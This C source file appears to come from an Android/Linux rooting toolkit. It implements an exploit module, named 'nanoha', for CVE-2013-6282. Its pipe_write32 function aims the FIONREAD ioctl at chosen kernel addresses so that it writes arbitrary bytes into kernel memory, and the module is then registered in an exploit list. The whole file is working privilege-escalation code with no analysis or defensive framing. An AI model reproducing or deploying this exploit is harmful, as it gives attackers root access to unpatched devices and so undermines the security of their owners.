
#include "log.h"
#include "exploit.h"
#include <sys/types.h>
#include <unistd.h>
#include <fcntl.h>
#include <sys/ptrace.h>
#include <sys/syscall.h>
#include <sys/ioctl.h>
#include <sys/wait.h>
#include <sys/socket.h>
#include <arpa/inet.h>
#include <netinet/in.h>
#include <malloc.h>
#include <stdlib.h>
#include <string.h>

extern long __ptrace(int request, pid_t pid, void *addr, void *data);



static int pipe_init(void **opaque) {
    return 0;
}

static void pipe_free(void **opaque) {
    (void) opaque;
}

static int pipe_write32(void *opaque, long addr, long val) {
    char data[sizeof(val)];
    int fd[2], rc, i;
    char somewhat[256];

    rc = pipe(fd);
    if (rc < 0) {
        LOGE("pipe()");
        return -1;
    }
    memcpy(data, &val, sizeof(val));
    for (i = 0; i < sizeof(data); i++) {
        if (data[i]) {
            rc = write(fd[1], somewhat, data[i]);
            if (rc < 0) {
                LOGE("write()");
                break;
            }
            if (rc != data[i]) {
                LOGD("unexpected write size.");
                break;
            }
        }
        rc = ioctl(fd[0], FIONREAD, (void *)(addr + i));
        if (rc < 0) {
            LOGE("ioctl()");
            break;
        }
        if (data[i]) {
            rc = read(fd[0], somewhat, data[i]);
            if (rc < 0) {
                LOGE("read()");
                break;
            }
            if (rc != data[i]) {
                LOGD("unexpected read size.");
                break;
            }
        }
    }
    close(fd[0]);
    close(fd[1]);
    return rc ? -1 : 0;
}

exploit_t EXPLOIT_cve_2013_6282_pipe = {
    .name = "nanoha",
    .flags = EXPLOIT_POKE_WITH_GARBAGE,
    .init = pipe_init,
    .free = pipe_free,
    .write32 = pipe_write32,
};


void exploit_init(exploit_t **list) {
    int i = 0;
    int size = 0;
    exploit_t *exp = 0, *tmp;

    ADDEXP(cve_2013_6282_pipe);

//    switch (g_type) {
//
//    case S_2013_6282_2:
//    	ADDEXP(cve_2013_6282_pipe);
//    	break;
//
//    default:
//    	break;
//    }

    *list = exp;
}
